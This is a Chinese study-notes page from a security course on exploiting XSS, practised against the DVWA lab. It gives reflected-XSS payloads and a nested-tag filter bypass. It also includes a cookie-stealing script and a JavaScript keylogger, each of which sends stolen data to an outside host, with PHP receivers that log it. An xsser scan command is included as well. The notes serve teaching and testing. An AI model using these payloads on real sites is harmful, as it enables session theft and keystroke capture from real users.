1. 程式人生 > >【安全牛學習筆記】XSS的利用

【安全牛學習筆記】XSS的利用

xss 惡意代碼 漏洞

反射型XSS1.概念

通過社會工程學等手段誘騙用戶點擊某個精心構造的鏈接,該鏈接會將惡意的js代碼提交給 有漏洞的服務器網站,並由服務器返回給受害者的客戶端執行。

2.POC

-<script>alert(‘xss’)</script>
-
直接通過腳本插入
-<ahref=‘‘onclick=alert(‘xss‘)>type</a>
-
將代碼註入到a標簽中,點擊超鏈接則執行-<imgsrc=http://1.1.1.1/a.ipgonerror=alert(‘xss‘)> -

將代碼註入到img標簽中,加載出錯時執行-<script>window.location=‘http://1.1.1.1‘</script>
-
重定向
-<iframeSRC="http://1.1.1.1/victim"height="0"width="0"></iframe> -加載一個寬和高都是0的框架來執行代碼-<script>newImage().src="http://1.1.1.1/c.php?output="+document.cookie;</script> -竊取cookie並發送到指定網址-<script>document.body.innerHTML="<divstyle=visibility:visible;><h1>THISWEBSITE

ISUNDERATTACK</h1></div>";</script> -修改DOM樹中的內容

3.竊取cookiejs代碼 cookie.js

varimg=newImage(); img.src="http://1.1.1.1/cookies.php?cookie="+document.cookie;

接收頁面代碼cookies.php

<?php
$c=$_GET[‘c‘]; $cookie=fopen("cookie.txt","a"); fwrite($cookie,$c."\r\n\r\n"); fclose($cookie);

echo"success"
?>

惡意代碼

<scriptsrc=http://1.1.1.1/cookie.js></script>

攻擊過程:

當惡意代碼被執行時,會從外部網址讀取cookie.js在客戶端上執行,該js會讀取當前頁面的 地址並發送到指定的接收頁面,由頁面接收並保存到文件。

4.keylogger鍵盤記錄js keylogger.js

document.onkeypress=function(evt){
evt=evt||window.event
key=String.fromCharCode(evt.charCode)
if(key){
varhttp=newXMLHttpRequest();
varparam=encodeURI(key) http.open("POST","http://192.168.20.8/keylogger.php",true); http.setRequestHeader("Content-type","application/x-www-form-urlencoded"); http.send("key="+param);

} }

接收頁面 Keylogger.php

<?php
$key=$_POST[‘key‘]; $logfile="keylog.txt"; $fp=fopen($logfile,"a"); fwrite($fp,$key); fclose($fp);
?>

惡意代碼

<script+src="http://1.1.1.1/keylogger.js"></script>

攻擊過程:當惡意代碼被執行時,會從外部網址讀取keylooger.js在客戶端上執行,該js記錄所有該頁面 上的按鍵操作並發送到指定的接收頁面,由頁面接收並保存到文件。

5.xss漏洞檢測工具:xsser

xsser-u“http://1.1.1.1/dvwa/vulnerabilities/"-g"xss_r/?name="--cookie="securi ty=low;PHPSESSID=d23e469411707ff8210717e67c521a81"-s-v--reverse-check檢測xss漏洞
--heuristic檢查被過濾的字符

6.過濾繞過

過濾機制:替換<script>字符為""繞過方法:在<script>中嵌套一層<script>--<scr<script>ipt>


存儲型XSS1.概念

將惡意js代碼永久的存儲在有漏洞的服務器上,每次受害者打開該頁面時,惡意代碼便會在 客戶端執行。

2.表單長度限制突破只在客戶端過濾且服務器沒有很的過濾機制時:

  直接修改客戶端源碼改變表單長度
  通過截斷代理直接在數據包中修改需要提交的內容


【安全牛學習筆記】XSS的利用